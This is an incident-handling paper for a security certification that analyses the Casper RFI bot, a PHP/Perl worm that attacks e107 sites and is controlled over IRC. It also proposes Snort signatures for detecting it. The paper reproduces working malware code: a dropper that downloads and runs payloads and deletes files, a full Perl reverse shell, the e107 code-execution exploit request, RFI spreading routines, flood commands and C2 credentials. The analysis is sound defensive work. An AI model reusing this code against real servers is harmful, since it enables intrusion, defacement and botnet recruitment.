An Overview Of The Casper RFI Bot

Dan O'Connor
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*GIAC (GCIH) Gold Certification*

Author: Dan O’Connor, legacyboy@gmail.com
Advisor: Egan Hadsell

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Abstract

An ISC Diary from Aug 19th 2010, posted information regarding a RFI bot called Casper written in Perl and PHP spreading across Unix like systems. Using basic information available from the diary posting, I was able to obtain a copy of the bot for analysis. This paper will provide a basic overview of the RFI bot. This includes how the bot was spreading between systems, an overview of the collected scripts, and their purpose and function. Also covered is how to un-obfuscate sections of the code and basic information about its command and control structure. As part of the six primary phases of incident handling, the identification and understanding of a threat in the network is crucial. The end result will be more than a basic understanding of the bot. The end result will provide information on how to possibly detect, contain and eradicate the threat with a plausible recovery scenario.
1. Introduction

On July 8th 2010 Emerging Threats added signatures for a remote file inclusion scanner with a user agent containing either “MaMa CaSpEr” or “Casper Bot Search” (Jonkman, 2010). The “MaMa CaSpEr” user agent was first detected around July 3rd 2010 (BotsVsBrowsers, 2010a). The “Casper Bot Search” user agent was first seen around June 25th 2010 (BotsVsBrowsers, 2010b). This scanner was specifically targeting the e107 content management system using multiple RFI vulnerabilities, an XSS vulnerability and a code execution vulnerability (Jonkman, 2010). The sample collected is based on the ByroeNet, with the user agent of “Casper Bot Search” and additional scripts needed to join the host to IRC command and control servers. Multiple versions of the scanner were collected from sub directories, all use IRC as command and control with the channels and servers changing depending on the author of the variation.

Examples of the RFI and XSS exploit code are located at http://www.exploit-db.com/exploits/12818/ and the Code Execution http://www.exploit-db.com/exploits/12715/ . Both target the e107 content management system prior to version 0.7.22, and both are from May 2010 released within days of each other with differing authors. The current Emerging Threats signatures can be found on http://doc.emergingthreats.net/2011176 and http://doc.emergingthreats.net/2011175, last updated as of Feb 4th 2011.

Included with the collected scripts were two open source applications, Eggdrop and psyBNC. These will be explained with plausible usage scenarios.

The primary script “casper.txt” will be analyzed along with each of the sub scripts as they would be called during execution. Sophos version 4.63.0 will be used to scan the samples and a VirusTotal.com detection ration will be provided. If possible example Snort style signatures for networking intrusion detection will be provided.

Dan O'Connor, legacyboy@gmail.com
2. Analysis

2.1. casper.txt

Casper.txt is written in PHP. It has an md5 hash of 8885fbcf6331f6c5d47f92a697681797f, and is 130 lines long. Sophos version 4.63.0 detects this sample as Troj/PhPShel-C, it's detection ratio on VirusTotal.com is 39.5%.

The first section of the script has a set of variables that can be used to customize the scripts used and its own connection settings.

```php
12 $admin = "CalLDeRooN";
13 $serverircs = array("irc.shell2k.com");
14 $serverirc = $serverircs[rand(0,count($serverircs) - 1)];
15 $urldata = "http://xxxxxxxxxxxx.xxx/e107_images/casper/";
16 $injektor = "sh.txt";
17 $defacer = "def.txt";
18 $filepsy = "psy.tar.gz";
19 $portpsy = "6667";
20 $fileeggdrop = "eggdrop.tar.gz";
21 $filebotphp = "bot.txt";
22 $crbots = 2;
23 $filebotperl = "iso.txt";
24 $filebotscan = "scan.txt";
```

The next section is used for determining the current working directory and its read/write status.

```php
26 $P = @getcwd();
27 $perm = (@is_writable($P)) ? "W" : "R";
28 $perm = (is_array($perm)) ? join(" ", $perm) : $perm;
29 $pathbot = $P;if($perm == "R"){
30                    if(substr($P,0,5) == "/var"){
31                        $pathbot = "/tmp";
32                    }else{
33                        $pathbot = "/tmp";
34                    }
30 }else{
31                     $permperl = (@is_writable($pathbot)) ? "W" : "R";
35                     $permperl = (is_array($permperl)) ? join(" ", $permperl) : $permperl;
36                     if($perm == "W"){
37                         if(casperget() != "lain"){
38                             caspercmd("rm -fr *");
39                             caspercmd(casperget().$urldata.$injektor." -O casper.php");
40                             caspercmd(casperget().$urldata.$defacer." -O index.php");
41                         }else{
42                             caspercmd("lwp-download ".$urldata.$injektor." -O casper.php");
43                             caspercmd("lynx -source ".$urldata.$injektor." -O casper.php";
44                             caspercmd("GET ".$urldata.$injektor." -O casper.php";
45                             caspercmd("lwp-download ".$urldata.$defacer." -O index.php";
46                             caspercmd("lynx -source ".$urldata.$defacer." -O index.php";
47                             caspercmd("GET ".$urldata.$defacer." -O index.php";
48                         }
49                     }
50                     function casperget() {
```

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119  if (ex('wget --help'))                           { return "wget ";   }
120  elseif(function_exists('curl_version')) { return "curl -O ";}
121  elseif(ex('fetch --help'))                   { return "fetch ";  }
122  else                                          { return "lain";    }
123  }

If casperget returns lain on line 122 which is “other” in Indonesian. It will try
using several other methods to pull down what it needs lines 39 to 44.

These commands are executed by using a function called caspercmd which
attempts to use several different methods to execute code on the target.

124  function caspercmd($cmd) {
125        if (enabled("exec"))                        {exec($cmd);        }
126        elseif (enabled("shell_exec"))          {shell_exec($cmd);  }
127        elseif (enabled("system"))              {system($cmd);      }
128        elseif (enabled("passthru"))            {passthru($cmd);    }
129  }

Next it will check to see if it can access Perl, if it can it attempts to download it's
own Perl scripts on lines 48 to 57. Then it executes $filebotscan and $filebotperl on lines
58 to 60, which have iso.txt and scan.txt assigned to them. There is a do while loop on
lines 61 to 64 that will constantly try to relaunch $filebotperl every 12 hours on line 63.
The rand at the end of $serverircs on line 60 and 62 is an attempt to join to a random IRC
host from a list of servers, the list with this sample only contained a single entry.

48  if((ex('perl -h')) && $permperl=="W"){
49        caspercmd("cd ".$pathbot.";rm -fr *.txt");
50        if(casperget()=="lain"){
51            caspercmd("cd ".$pathbot.";lwp-download ".$urldata.
52                $filebotscan." -O ",filebotscan);  
53            caspercmd("cd ".$pathbot.";lynx -source ".$urldata.
54                $filebotperl." -O ",$filebotperl);  
55            caspercmd("cd ".$pathbot.";GET ".$urldata.$filebotperl." -O ".
56                $filebotperl);  
57        }else{
58            caspercmd("cd ".$pathbot.";casperget().$urldata.
59                $filebotscan." -O ",$filebotscan);  
60            caspercmd("cd ".$pathbot.";casperget().$urldata.
61                $filebotperl." -O ",$filebotperl);  
62            caspercmd("cd ".$pathbot.";perl ".$filebotscan);  
63            sleep(1);
64            caspercmd("cd ".$pathbot.";perl ".$filebotperl." .
65            $serverircs[rand(0,count($serverircs) - 1)];
66            do {
67                caspercmd("cd ".$pathbot.";perl ".$filebotperl." .
68                $serverircs[rand(0,count($serverircs) - 1)];
69                sleep(43200);
70            } while(true);
71  }

Casper.txt could be used as the remote file during an RFI attack on a host. It will
drop the needed files on the remote host and attempt to execute scripts to join it to the
command and control channel.

Dan O'Connor, legacyboy@gmail.com


2.1.1. Methods of detection

A simple and very effective method to detect activity related to this script is monitoring for outbound web connections coming from web servers. Below is an example Snort style rule.

```
alert tcp $HTTP_SERVERS any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Web server making external web connections"; classtype:trojan-activity; sid:XXXXXX; rev:1;)
```

This signature will look for traffic leaving an IP address in your Snort SHTTP_SERVERS group going to an IP that is not in your LAN with a destination port in the SHTTP_PORT group. This will trigger an alert on the attempts to download the additional scripts when casper.txt has been executed.

The rule could be simplified to look for any connections originating from an IP in the SHTTP_SERVERS group. In most cases any outbound connection from a webserver is not typical behavior.

```
alert tcp $HTTP_SERVERS any -> $EXTERNAL_NET any (flag: S; msg: "Web server making external connections"; classtype:trojan-activity; sid:XXXXXX; rev:1;)
```

This signature will alert on traffic with the TCP SYN flag set coming from an IP in the SHTTP_SERVERS group going to something outside the network to any port.

2.2. sh.txt

sh.txt is written in PHP. It has an md5 sum of 52a8541fb01a8117fa9d110491a1b29d, and is 3,309 lines long. Sophos version 4.63.0 detects this sample as Mal/PHPShell-A, it's detection ratio on VirusTotal.com is 65.1%. Sh.txt is declared on line 16 of casper.txt and assigned to the variable $injektor, “injector” in Indonesian. Line 36 of casper.txt attempts to write sh.txt to casper.php, other attempts are also made on lines 39, 40 and 41. Once loaded on the target system, sh.txt acts as the administrative portal. A screen shot is below.

```bash
34   if(casperget()="lain"){
35     caspercmd("rm -fr *");
36     caspercmd(casperget().$urldata.$injektor." -O casper.php");
37     caspercmd(casperget().$urldata.$defacer." -O index.php");
38   }else{
39     caspercmd("lwp-download ".$urldata.$injektor." -O
40     casper.php");
41     caspercmd("lynx -source ".$urldata.$injektor." -O
42     casper.php");
43     caspercmd("GET ".$urldata.$injektor." -O casper.php");
```

Dan O'Connor, legacyboy@gmail.com
Of the available functions provided by the portal, there is a few that could provide useful information for threat detection. The first is Backdoor, on line 506 of sh.txt is the PHP code building the link displayed on the console. We can follow this to the function that is executed.

```php
506 $quicklaunch2[] = array("Backdoor","$surl."act=shbd");
258 if (empty($_POST["backconnectport"]) && ($_POST["use"]=="shbd")) {
259  $ip = gethostbyname($_SERVER["HTTP_HOST"]);
260  $por = $_POST["backconnectport"];
261  if (is_writable(".")) {
262    cfb("shbd","$backdoor");
```

Below is the frame that is displayed when the Backdoor link is clicked.

```
<table>
<thead>
<tr>
<th>Bind Shell Backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bind Port: 5992</td>
</tr>
</tbody>
</table>
```

The function `cfb` takes the contents of `$backdoor` and writes it to a file on the disk.

Dan O'Connor, legacyboy@gmail.com
called shbd, the port is added as an argument when executed.

```perl
248  function cfb($fname,$text) {
249    $w_file=@fopen($fname,"w") or bberr();
250    if($w_file) {
251      @fputs($w_file,@base64_decode($text));
252      @fclose($w_file);
253    }
254  }
263    ex("chmod 777 shbd");
264    $cmd = "./shbd $por";
265    exec("$cmd > /dev/null ");

On line 238 $backdoor is declared, it's very long and a short sample is provided. The entire contents of $backdoor is base64 encoded, it appears to be an attempt to hide the contents.

```
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAA
```

Decoding is simple with the Perl code below.

```
#!/usr/bin/perl
$backdoor = "contents here";
$out = MIME::Base64::decode $backdoor;
print "$out";
```

The output of $backdoor is a 32-bit ELF executable, with a md5 hash of eac857aac16c59f2a1d9b5e3a8208d8f. Sophos version 4.63.0 detects the binary as Troj/Agent-JQH, it's detection ration on VirusTotal.com is 36.6%. It's basic function is to open a listening socket on the specified port and connect it to /bin/sh. A small hexdump is provided.

```
.............::  W
|dcking-shell  (Pr
|ivate Build v0.3
|) bind shell bac
|kdoor ::: ...sock
|et.bind.listen./
|bin/sh..........|
```

The next item to examine is “Back-Connect”, from the screen shot we can see there is two options Perl and C.

Dan O'Connor, legacyboy@gmail.com
Following the execution path as before we can find the function that is called to run it.

```php
507 $quicklaunch2[] = array("Back-Connect",$url."act=backc");
3199 echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run <b>nc -l -n -v -p 5992</b>'<br>

```}

Both $back_connect_pl and $back_connect_c are base64 encoded just as before, short samples are below.

```php
236 $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJs"
237 $back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAA"
```

The Perl script $back_connect_pl is very short, it opens a socket to a remote

Dan O'Connor, legacyboy@gmail.com
system and connects it to /bin/sh. It has an md5 hash of 8f480a3936819a502071818f2f2893. Sophos version 4.63.0 does not detect this sample. It's detection ratio on VirusTotal.com is 9.3%, and is identified as a backdoor.

```perl
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "uname -a"';
$system1= 'echo "id"';
$system2= 'echo "pwd"';
$system3= 'echo "whoami\@hostname:\~ >"';
$system4= '/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
iaddr=inet_aton($target) || die("Error: $!
");
paddr=sockaddr_in($port, $iaddr) || die("Error: $!
");
proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!
");
connect(SOCKET, $paddr) || die("Error: $!
");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "\n\n:: w4ck1ng-shell (Private Build v0.3) reverse shell ::\n
";
print "System Info: ";
system($system);
print "Your ID: ";
system($system1);
print "Current Directory: ";
system($system2);
print "\n";
system($system3); system($system4);
close(STDIN);
close(STDOUT);
close(STDERR);
```

The C executable appears to provide the same function, a small hexdump is provided. It's md5 hash is 5771c90e0e499b4a53b7ee9535b1944e. This sample was not detected by Sophos version 4.63.0. It's detection ration on VirusTotal.com is 0%, a small hexdump sample is provided.

```
	...........[-] con
|nect().sh -i./bi
/n/sh.........
```

Other areas that should provide useful information is the Feedback and Update links.

```
1910 if ($act == "feedback") {
1911  $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");
```

The contents of $suppmail decodes to feelcomz@gmail.com.

The purpose of the “Update” function is to preform a self update of the script, this is done from a configured target web server.

Dan O'Connor, legacyboy@gmail.com
2.2.1. Methods of detection

With the information gathered from sh.txt additional signatures can be created to assist with detection of this threat on the network.

Monitoring for SMTP connections with the support address.

```
alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"Casper Email";
flow:to_server,established; content:"feelcomz@gmail.com"; classtype:trojan-
activity; sid:XXXX; rev:X;)
```

An additional signature to monitor for activity on the default listening port of 5992 TCP is also helpful. Generic shell code signatures may also be able to detect this traffic.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 5992 (msg:"Casper BackDoor Connection";
flow:to_server,established; classtype:trojan-activity; sid:XXXX; rev:X;)
```

Signatures to monitor for the self update attempts could be created, but the signatures created to monitor for outbound connections from the web servers should alert on these.

2.3. def.txt

def.txt is written in HTML and has an md5 sum of a92c0550b9f828467a5c8723eb34ae65. It contains code to deface the a web site with the names of the hackers and crew. It is declared on line 17 of casper.txt and assigned to the variable $defacer.

```
17 $defacer = "def.txt";
```

Dan O'Connor, legacyboy@gmail.com
This script provides no real useful information that can be used for creating network intrusion detection signatures.

### 2.4. bot.txt

Initially declared on line 21 of casper.txt, bot.txt is written in PHP and has a md5 hash of 2c1f8f7d7c0d522813b95c100679d4a1. Sophos version 4.63.0 detects this sample as Mal/PBot-A, its detection ratio on VirusTotal.com is 65.1%. This is a bot created in PHP, there is a basic help section at the start of the file.

```php
9   * .user <password> //login to the bot
10   * .logout //logout of the bot
11   * .die //kill the bot
12   * .restart //restart the bot
13   * .mail <to> <from> <subject> <msg> //send an email
14   * .dns <IP|HOST> //dns lookup
15   * .download <URL> <filename> //download a file
16   * .exec <cmd> // uses exec() //execute a command
17   * .sexec <cmd> // uses shell_exec() //execute a command
18   * .cmd <cmd> // uses popen() //execute a command
19   * .info //get system information
20   * .php <php code> // uses eval() //execute php code
21   * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
22   * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
23   * .raw <cmd> //raw IRC command
24   * .rndnick //change nickname
25   * .psscan <host> <port> //port scan
26   * .safe // test safe_mode (dvl)
27   * .inbox <to> // test inbox (dvl)
28   * .conback <ip> <port> // conect back (dvl)
29   * .uname // return shell's uname using a php function (dvl)
```

There is also connection information for a command and control IRC channel.

```php
37   var $config = array("server"=>"irc.shell2k.com",
38           "port":"6667",
39           "pass":"11av795",
40           "prefix":"vai",
41           "maxrand":"15",
42           "chan"=>"#satshell",
43           "chan2"=>"",
44           "key"=>"",
45           "modes"=>"+p",
46           "password"=>"11av795",
47           "trigger"=>"",
48           "hostauth"=>"*" // for any hostname (remember:
49           /setvhost xxxxx.xxx)
    );
```

There is another base64 encoded variable called $dc_source on line 470.

Additionally there is a function to decode it and write it to disk as a Perl script and execute it.

```php
470   $dc_source = "YyEvdXNyL2Jpbi9wZXJsDQplc2ZU
471   if (is_writable("/tmp"))
472   {
473       if (file_exists("/tmp/dc.pl")) unlink("/tmp/dc.pl");
```

Dan O'Connor, legacyboy@gmail.com
The decoded Perl script is detected by Sophos version 4.63.0 as Troj/Worsyn-A and has a detection ratio of 67.4%. The script is used to connect to a shell of a remote target.

```perl
if (!getopt(0)) {
    printf "Usage: \$0 [Host] <Port>\n";
    exit(1);
}
```

### 2.4.1. Methods of detection

Unique signatures should not be required for detecting activity from this PHP bot, The bot attempting to join an IRC channel after connecting to the server will trigger a Snort alert using this signature already provided in Snort's chat.rules file.

```
alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC channel join";
flow:to_server,established; content:"JOIN "; nocase; pcre:"/sJOIN/smi"; metadata:policy
classtype:policy-violation; sid:1729; rev:7);
```

Other signatures such as generic shell code and the previously created signatures to monitor for outbound connections from web servers will also assist in detecting activity associated with his bot.

### 2.5. iso.txt

Iso.txt is assigned to the $filebotperl variable in casper.txt on line 23. It is written in Perl and has a md5 hash of c8edc4540874a7d0131678e42b33faac. Sophos version 4.63.0 detects this sample as Mal/PerlBot-A, and its detection ratio on VirusTotal.com is 62.8%. This bot has a similar set of available functions as compared to bot.txt, it connects to the same IRC server but uses a different channel. Below is the command options and translation.

6 # Comandos:
7 #
8 # @oldpack <ip> <bytes> <tempo>;
9 # @udp <ip> <porta> <tempo>;
10 # @fullportscan <ip> <porta inicial> <porta final>;
11 # @conback <ip> <porta>;
12 # @download <url> <arquivo a ser salvo>;
13 # !estatisticas <on/off>;
14 # !sair para finalizar o bot;
15 # !novonick para trocar o nick do bot por um novo aleatorio;
16 # !entra <canal> <tempo>
17 # !pacotes <on/off>

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# Commands:

- `@ info`  
- `@ xpl <kernel>`  
- `@ sendmail <assunto> <remetente> <destinatario> <conteudo>`

IRC connection settings.

```
$servidor='irc.shell2k.com' unless $servidor;
my $porta='6667';
my @canais=('#megaturks');
my @adms=('CaLLDeRooN');
```

The script is executed from casper.txt on line 60 and 62 in a do while loop.

```
caspercmd("cd ".$pathbot.";perl ".$filebotperl." ".
$serverircs[rand(0,count($serverircs) - 1)]");
do {
  caspercmd("cd ".$pathbot.";perl ".$filebotperl." ".
$serverircs[rand(0,count($serverircs) - 1)]");
sleep(43200);
  } while(true);
```

The script will change directory to $pathbot then run $filebotperl. The periods between the quotation marks are used to concatenate the strings together. The addition of the $serverircs[rand(0,count($serverircs) - 1)] is an attempt to randomly select an IRC server to connect to from the array declared on line 13 of casper.txt.

```
$serverircs = array("irc.shell2k.com");
```

In this case the array only contains a single server, and is picked up on line 106 of iso.txt as a command line argument to it's execution. This is inside a sub routine to connect the bot to its IRC server.

```
sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>'tcp',
  PeerAddr=>'Servidor_con', PeerPort=>'porto_con') or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
```

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The bot will also try and protect itself from system signals.

There is also support for doing shells on windows based system, the port is variable.

The bot will also compare the current running kernel with a long list of known vulnerabilities, a sort sample is provided.

2.5.1. Methods of detection

Excluding the IRC connection information gathered from this script, there is very little useful information to create a new set of network intrusion detection signatures. The signatures already created to alert on out bound traffic coming from web servers should alert on anything this bot will do. It's other functions such as port scanning and

Dan O'Connor, legacyboy@gmail.com
shell access will trigger other existing signatures.

2.6. scan.txt

Scan.txt contains the exploit code, attack code and control code. The script itself is written in Perl and has a md5 sum of f9970804dc8e51087c12babf77e8536. Sophos version 4.63.0 does not detect this sample, it's detection ratio on VirusTotal.com is 16.3%. This script is assigned to the variable $filebotscan on line 24 of casper.txt. It's injected to a target site on line 51 and is executed on line 58 of casper.txt using the caspercmd subroutine.

    24  $filebotscan = "scan.txt";
    51  caspercmd("cd ".Pathbot.;lwp-download ".urldata.$filebotscan." -O ". $filebotscan);
    58  caspercmd("cd ".Pathbot.;perl ".$filebotscan);

The start of the script contains a set of variables pointing back to the site that preformed the injection on the target. This is under a section titled “Configuration URL” in Indonesian.

    21  ##[ KONFIGURASI URL ]#
    22  my $Ckrid = "http://xxxxxxx.xxx/e107_images/casper/Ckrid1.txt?";
    23  my $Ckrid2 = "http://xxxxxxx.xxx/e107_images/casper/Ckrid2.txt?";
    24  my $spread = "http://xxxxxxx.xxx/e107_images/casper/casper.txt?";
    25  my $spread2 = "http://xxxxxxx.xxx/e107_images/casper/casper2.txt?";
    26  my $joomlaz = "http://xxxxxxx.xxx/e107_images/casper/joomla.txt";
    29  my $bypass = "http://xxxxxxx.xxx/e107_images/casper/googlez.php?";

All except for the script joomla.txt and googlez.php were collected from the infected web server. The scripts casper.txt and casper2.txt are the same, they both have a md5 sum of 8885f6e6331f65d47f92a697681797f. Ckrid1.txt contains basic PHP code that echo's an email address 4 times and the word “Ckrid”. Ckrid2 is more complicated, it's a PHP file that contains a set of subroutines to display information about a target machine. This includes the current working directory, user, IP address, kernel information and disk space.

    4  $P = @getcwd();
    5  $IP = @getenv("SERVER_ADDR");
    6  $UID = crshelllexec("id");
    7  $P = @getcwd();
    8  $IP = @getenv("SERVER_ADDR");
    9  $UID = crshelllexec("id");
   10  cr("SAFE",@safemode()?'ON' :'OFF');

Dan O'Connor, legacyboy@gmail.com
The variables of $e107cmdsp and $e107cmdsp2 contain the commands needed to pull casper.txt down on to a target server and further spread the infection. There is an item to note inside $e107cmdsp, the script iso.txt is executed with a new IRC server. This server is only used here, iso.txt is also executed by casper.txt but it connects it to a different IRC server. Scan.txt has it's own IRC configuration section this uses the same server and channel as the other scripts collected.

There is also a local configuration section.

A section for control of the behavior of the bot and more variables for the bot.

Dan O'Connor, legacyboy@gmail.com
The main execution is maintained by a while loop, and will not start if the banner of the bot does not contain “Casper”, the reasoning of this is unknown. It could be an attempt to prevent others from trying to alter the script and use it as their own. The word “keluar” is Indonesian and translates to “exit”.

The next section of code is for parsing the commands coming in over the socket.

The split command on line 143 is looking for a space or multiple spaces followed by a colon and assigns them in order to the variables listed. Line 144 then splits $fcom by spaces assigns them to three more variables. Then the first variable from line 144 is split again by exclamation points and assigned to two more variables. All of it commands received are parsed by this code and is passed to the exploitation subroutines further down.

Line 160 is the start of the first exploitation attempt using a subroutine called

Dan O’Connor, legacyboy@gmail.com
crsql_scanz, line 450 splits the variables coming into the subroutine.

    160 crsql_scanz("#crack","contact.php","e107",$hb,3,2);
    449  sub crsql_scanz {
        450    my ($to,$bug,$dork,$sb,$type,$autodom) = @_;

        The execution will continue on line 483 when the condition on $autodom is
        matched. A foreach loop will step through each of the values of @domini which is from
        another subroutine called SiteDomains that returns a list of country code domains such as
        ru, ch, ca and uk. Then the condition on $type is matched on line 500, and reports in to
        the IRC channel #crack that it's executing an automatic scan and exploitation.

    483 elsif($autodom == 2){
    484    foreach my $Domains(@domini){
    485        if ($type == 1){
    486            my $badbug = cek_bug($bug);
    487        }
    488    }
    500    if ($type == 3){
    501        irc_msg($to,"BuGnya JeLek! ScaNnInG DiCanCeL"); return;
    502    crsql_cari($to,$bug,"*.ru e107 ScaN & ExpLoiT DiMuLai ".
    503    }

        The scanning is performed by the crsql_cari subroutine, it uses multiple search
        engines including Yahoo, Google and 14 others. Following the execution we are able to
        discover what the search string is. To try and follow what exactly is going on the values
        currently assigned to the variables on line 711 are;

            $channel = #crack
            $bug     = contact.php
            $dork    = ".ru e107" – The .ru is replaced by the next
            item in the list of domains to search.
            $nf      = This appears to be a counter, its started on
            line 138 as $hb ++ and is passed down.
            $type    = 3

    710  sub crsql_cari {
        711    my ($chan,$bug,$dork,$nf,$type) = @_;
        712    my @engz;
        713    my $key = $dork;
        714    $dork = urlen($key);
        715    $engz[0] = fork(); if ($engz[0] == 0)
    1907    sub urlen {
        1908    my $str = $[0];
        1909    #$str =~ s/\%/\\%2B/g;
        1910    $str =~ s/ /\\+/g;

        The function urlen is used to clean up the $dork and make the special characters
        work with search engines.
The subroutine se_google is called with "#crack", "*.ru+e107", and the counter that has been passed down.
The subroutine celsius_exploit takes the list that was written to disk previously and sorts, cleans and ensures the entries in the list are unique.

The search results are returned to the IRC channel. This is reported back to the IRC channel on line 755 in the celsius_exploit subroutine. This routine is to be used with the $url parameter passed to this subroutine on line 749.

This is done using the $bypass URL on line 805. Next it is sending back the number of results from on line 807, the rest of the code is dedicated to pulling URL's out of the HTML returned to $url and pushing them into the $daftar array.

The string $url that will be passed to Google is constructed on line 802, with the values have now it will look like the following:

http://www.google.com/search?q=50&q=*+n+e+07%20&start=0&sa=N
return; }

while (my $r = '<FILEZ>') { $r =~ s/\n//g; push($semuatarget,$r); }
close(FILEZ);

fhapus($tf);
my @kotor = lnk_sortir($semuatarget);
my @target = lnk_filter(@kotor);

The final array @target is used in a foreach loop with the Perl fork function in an attempt to exploit the sites collected. It uses the bukasituscre107 subroutine to check if the site is vulnerable.

}elsif ($type == 3){
    $q = bukasituscre107("http://".$situs.$bug,"uname -a");
}

sub bukasituscre107 { 1793
    my $inc = $_[0];
    my $crMe = $_[1];
    $crMe = "echo('casper ');$passthr=('".$crMe."');echo(' kae');";
    my $ua = LWP::UserAgent->new or die;
    $ua->agent('Casper Bot Search');
    $ua->timeout($conf{timeout});

    my $req = HTTP::Request->new(POST => $inc);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5D".$crMe."%3Bdie%28%29%3B%5D".$crMe. "%3Bdie%28%29%3B%5D"php%5D");

    my $res = $ua->request($req);
    print $inc;
    if($res->is_success) {
        return $res->content;
    } else {
        return $res->status_line;
    }
}

Line 1799 has the user agent the Emerging Threat signatures were created for. The actual exploit attempt is constructed on line 1804, this uses the e107 code execution vulnerability from http://www.exploit-db.com/exploits/12715/. The authors name field is used as the target on the contact.php page. It attempts initially to execute “uname -a” to return kernel information surrounded by “casper” and “kae”.

The results placed in to the $q variable and a if block is used to examine and report the results back to the the IRC channel. It reports back the presents of SQL, XML and the e107 content management system. Now using the local system as the host, the script attempts to execute the casper.txt, iso.txt and scan.txt scripts on the target.

bukasisuscre107spred("http://".$situs.$bug,$e107spred3);

my $e107spred = "include('%3B$spread.'");

my $e107spred2="passthruf('".$e107cmdsp."');exec('".$e107cmdsp."');system('".$e107cmdsp."');shell_exec('".$e107cmdsp2."'); system('".$e107cmdsp2."'); system('".$e107cmdsp2."');
Next the subroutine bukasituscrexml is executed.

bukasituscrexml("http://\$situs.$bug,$e107cmdsp2");
bukasituscrexml("http://\$situs.$bug,$e107cmdsp");

This again attempts to download and execute the iso.txt and scan.txt scripts locally hosted, but using XML. This uses an eval injection vulnerability in PEAR XML_RPC 1.30 (Bercegay, 2007). An example of the exploit can be found here http://www.gulftech.org/advisories/PHPXMLRPC%20Remote%20Code
%20Execution/81. This exploit was published in 2005, and was patched shortly after.

The purpose of this is unknown, it could be old code left over from a previous script.

This path through scan.txt does not use all of the available code, much of the code is used for command and control. Specifically for receiving commands and reporting back system information.

Dan O’Connor, legacyboy@gmail.com
The subroutine `csql_eksploit` also has the ability to also check for any possible SQL vulnerabilities on a target and will also report them back.

```perl
if ($type == 1){
$q = bukasitus("http://".$situs.$bug.$sqltest);
} elsif ($type == 2){
if ($q =~ /sql syntax/) {
elsif ($q =~ /sql error/)
elsif ($q =~ /right syntax to use near/)
elsif ($q =~ /syntax error converting/)
elsif ($q =~ /unclosed quotation/)
```

The remaining functionality to examine are the RFI and LFI attack methods.

```perl
elsif @{$com} == "cmdlfi\s+([^]+)\s+(.*)/)) {
irc_msg($dtarget,"Cek target ".dnick."); cmd_lfi($dtarget,$1,$2);
```

Line 1570 sends a test LFI to the target host and the success is reported back in the following if block, lines 1571-1574. Regardless of the success of the test an attempt is made against the target on line 1576, `bukasituslfsprd` and `bukasituslfsprd2`.

```perl
sub bukasituslfsprd {
my $url = "/0; my $agent = $lfsprd;
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
```

Both subroutines are the same, they will either use casper.txt or casper2.txt as the

Dan O'Connor, legacyboy@gmail.com
payload for the LFI and it is contained inside the user agent. If successful it will execute casper.txt on the remote host and setup another compromised host.

```
225 elsif {($com =~ /^cmdrfi\s+(.+?\[=\])\s+(.*)/)) { irc_msg($dtarget,"Cek target ".$dnick.".:!"}; cmd_rfi($dtarget,$1,$2); }
1578 sub cmd_rfi { 1579 my ($too,$situs,$cmduser) = @_; 1580 $cmdrfiu = $cmduser; 1581 my $q = bukasitus($situs.$Ckrid2."?casper=".$cmduser); 1582 if ($q =~ /Casper_Kae/){ 1583 irc_msg($too,"[CMDFRI] [".$cmduser."] sudah dilaksanakan"); 1584 } 1585 else { irc_msg($too,"target RFI ga vurnerable!"); } 1586 bukasitus($situs.$spread."?"); 1587 }
330 $spread = $url."casper.txt";
2044 sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
1759 sub bukasitus { 1760 my $url = $_[0]; 1761 my $request = HTTP::Request->new(GET => $url); 1762 my $ua = LWP::UserAgent->new; 1763 $ua->timeout($conf{timeout}); 1764 $ua->agent('Casper Bot Search'); 1765 my $response = $ua->request($request); 1766 if ($response->is_success) { return $response->content; } 1767 else { return $response->status_line; }
1768 }
```

If line 1581 is successful it will drop the control interface on to the target from the source file of sh.txt to casper.php. This is done on line 20 in Ckrid2.txt.

```
20 crshellxexec("wget ".$shellid."sh.txt -O casper.php");
```

If the test fails it will report to the IRC user contained in $too and it will attempt another exploitation on line 1586. This is done by sending a GET to the target with the casper.txt. The $url that is sent in the GET command on line 1761 will look like the following.

```
```

The targets for the RFI could be the ones listed on [http://www.exploit-db.com/exploits/12818/](http://www.exploit-db.com/exploits/12818/), but it will work with any newer RFI vulnerability discovered.

### 2.6.1. Methods of detection

The previously created signatures to detect outbound traffic from web servers should be very effective at detection of activity associated with this script. Using the help section from scan.txt we are able to create signatures specifically looking for commands

Dan O'Connor, legacyboy@gmail.com
being sent.

1980 $hsepz."Crack RFI & LFI & XML & SQL Scanner $versi Help ",
1981 $hlogo."scan|scan2 <bug> | <dork> | <E2>|<80>|<A2> Memulai scanner | scanner & Eksploti...";
